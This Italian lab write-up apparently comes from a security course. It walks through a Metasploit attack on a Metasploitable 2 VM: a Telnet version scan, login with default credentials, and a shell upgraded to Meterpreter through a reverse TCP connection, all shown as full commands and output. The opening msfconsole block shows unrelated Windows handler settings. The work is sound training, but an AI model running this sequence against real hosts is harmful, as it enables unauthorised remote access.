

# S7L2

## Exploit Telnet con Metasploit

---

### Esercizio:

#### Fase 1: Scansione del servizio Telnet

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per analizzare il servizio Telnet sulla macchina Metasploitable, adoperando il modulo **auxiliary/scanner/telnet/telnet\_version**.

#### Fase 2: Autenticazione e creazione della sessione

L'obiettivo è ottenere l'accesso a Metasploitable 2 sfruttando le sue credenziali predefinite. Utilizza il modulo **auxiliary/scanner/telnet/telnet\_login** e imposta i seguenti parametri:

- Il target RHOSTS.
- Le credenziali note USERNAME e PASSWORD.
- L'opzione STOP\_ON\_SUCCESS su true.

Una volta eseguito con successo, il modulo stabilirà una sessione di comando.

#### Fase 3: Gestione delle Sessioni

Verifica le sessioni attive tramite il comando sessions **-l**, per interagire con la sessione appena creata, digita **sessions -i ID\_sessione>**.

#### Fase 4: Upgrade della sessione a Meterpreter

Metti in background la sessione attiva usando la combinazione di tasti **Ctrl+Z** e confermando con **y** alla richiesta.

Successivamente, utilizza il modulo **post/multi/manage/shell\_to\_meterpreter** per eseguire l'upgrade della sessione a Meterpreter.

Controlla le opzioni con il comando **show options** ed effettua tutte le configurazioni necessarie per completare l'operazione.

---

## Premessa: Avvio

Per prima cosa avviamo il framework Metasploit digitando il comando:

## msfconsole

```
[kali㉿kali)-[~]
$ msfconsole

Metasploit tip: Tired of setting RHOSTS for modules? Try globally
setting it with setg RHOSTS x.x.x.x

[metasploit] msf5 exploit(multi/handler) > show options

Module Options (setg RHOSTS 192.168.1.111):
=====
Name   Value
-----+
RHOSTS 192.168.1.111
RPORT  443
Service http

Exploit Target:
=====
Platform: windows
Arch:    x86
Method:  exploit

Session Handler:
=====
Handler: http
Port:   443

Payload:
=====
Windows Exec (Windows Exec - 131 bytes)
-----
= [ metasploit v6.4.95-dev
+ -- --=[ 2,566 exploits - 1,315 auxiliary - 1,683 payloads
+ -- --=[ 433 post - 49 encoders - 13 nops - 9 evasion ]]
```

---

## Fase 1: Scansione del servizio Telnet

In questa fase iniziale, viene eseguita una scansione per verificare la presenza e la versione del servizio Telnet sul target.

Per prima cosa carichiamo il modulo:

```
use auxiliary/scanner/telnet/telnet_version
```

Poi impostiamo il target dicendo a Metasploit quale macchina analizzare:

```
set RHOSTS 192.168.50.3
```

Infine eseguiamo:

```
exploit
```

A questo punto, Metasploit contatterà il target sulla porta Telnet (porta 23) e cercherà di capire la versione del software in esecuzione.

```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.50.3
RHOSTS => 192.168.50.3
msf auxiliary(scanner/telnet/telnet_version) > exploit
[+] 192.168.50.3:23 - 192.168.50.3:23 TELNET
/_`_|_ \|\|/_\_) \|x0a| | | | | _/||(_|\_\_\\_) ||(_\)| | ||_(_|_|_|
\x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x
[*] 192.168.50.3:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_version) >
```

Il modulo ha confermato che la porta 23 era aperta e un servizio Telnet era in ascolto.

---

## Fase 2: Ottenimento dell'accesso (Exploitation)

Sfruttando la conoscenza che Metasploitable 2 utilizza credenziali di default, è stato tentato un attacco di login.

Per prima cosa utilizziamo il seguente modulo:

**auxiliary/scanner/telnet/telnet\_login**

Poi settiamo l'host remoto (RHOSTS), l'username, la password e lo "STOP\_ON\_SUCCESS":

```
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.3
RHOSTS => 192.168.50.3
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > exploit
[*] 192.168.50.3:23      - No active DB -- Credential data will not be saved!
[+] 192.168.50.3:23      - 192.168.50.3:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.3:23      - Attempting to start session 192.168.50.3:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.10:45135 → 192.168.50.3:23) at 2025-11-05 09:50:08 -0500
[*] 192.168.50.3:23      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > █
```

L'autenticazione è riuscita con successo, le credenziali **msfadmin/msfadmin** sono state confermate come valide e Metasploit ha automaticamente creato una sessione di comando (shell).

---

## Fase 3: Gestione della sessione

È possibile verificare le sessioni attive tramite il comando:

**session -l**

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l
Active sessions
=====
 Id  Name   Type    Information                               Connection
 --  --    shell   TELNET msfadmin:msfadmin (192.168.50.3:23)  192.168.50.10:45135 → 192.168.50.3:23 (192.168.50.3)
msf auxiliary(scanner/telnet/telnet_login) > █
```

L'output mostra una sessione attiva di tipo **shell** stabilita con il target.

Per interagire con la sessione appena creata utilizziamo il comando (1 è l'ID della sessione):

**sessions -i 1**

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...

msfadmin@metasploitable:~$ █
```

L'interazione con la sessione ha confermato l'accesso alla riga di comando del sistema operativo target.

---

## Fase 4: Upgrade della sessione

Per ottenere funzionalità più avanzate, la shell di base è stata messa in background (**Ctrl+Z**, poi **y** per confermare) e aggiornata a una sessione Meterpreter tramite il comando:

```
use post/multi/manage/shell_to_meterpreter
```

Usiamo invece **set SESSIONS 1** per dare al modulo una sessione da cui operare.

Una volta settata la sessione utilizziamo:

```
exploit
```

Questo comando utilizza la sessione shell di base (**SESSION 1**, in background) come un "canale" per inviare comandi, questi comandi ordinano alla macchina target di scaricare ed eseguire in memoria il payload Meterpreter.

Una volta che il payload Meterpreter è in esecuzione sul target, si connette a Metasploit, creando una nuova sessione (es. **SESSION 2**) molto più potente e avanzata.

```
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > back
msf > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > exploit
[!] SESSION may not be compatible with this module:
[!] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.10:4433
[*] Sending stage (1062760 bytes) to 192.168.50.3
[*] Meterpreter session 2 opened (192.168.50.10:4433 -> 192.168.50.3:34372) at 2025-11-05 10:09:17 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > █
```

---

## Conclusioni:

Digitando **sessions -l** vedremo entrambe le sessioni attive.

```
msf post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
=====
Id  Name   Type          Information                                Connection
--  --    --
1   shell      TELNET msfadmin:msfadmin (192.168.50.3:23)  192.168.50.10:45135 → 192.168.50.3:23 (192.168.50.3)
2   meterpreter x86/linux  msfadmin @ metasploitable.localdomain  192.168.50.10:4433 → 192.168.50.3:34372 (192.168.50.3)

msf post(multi/manage/shell_to_meterpreter) > █
```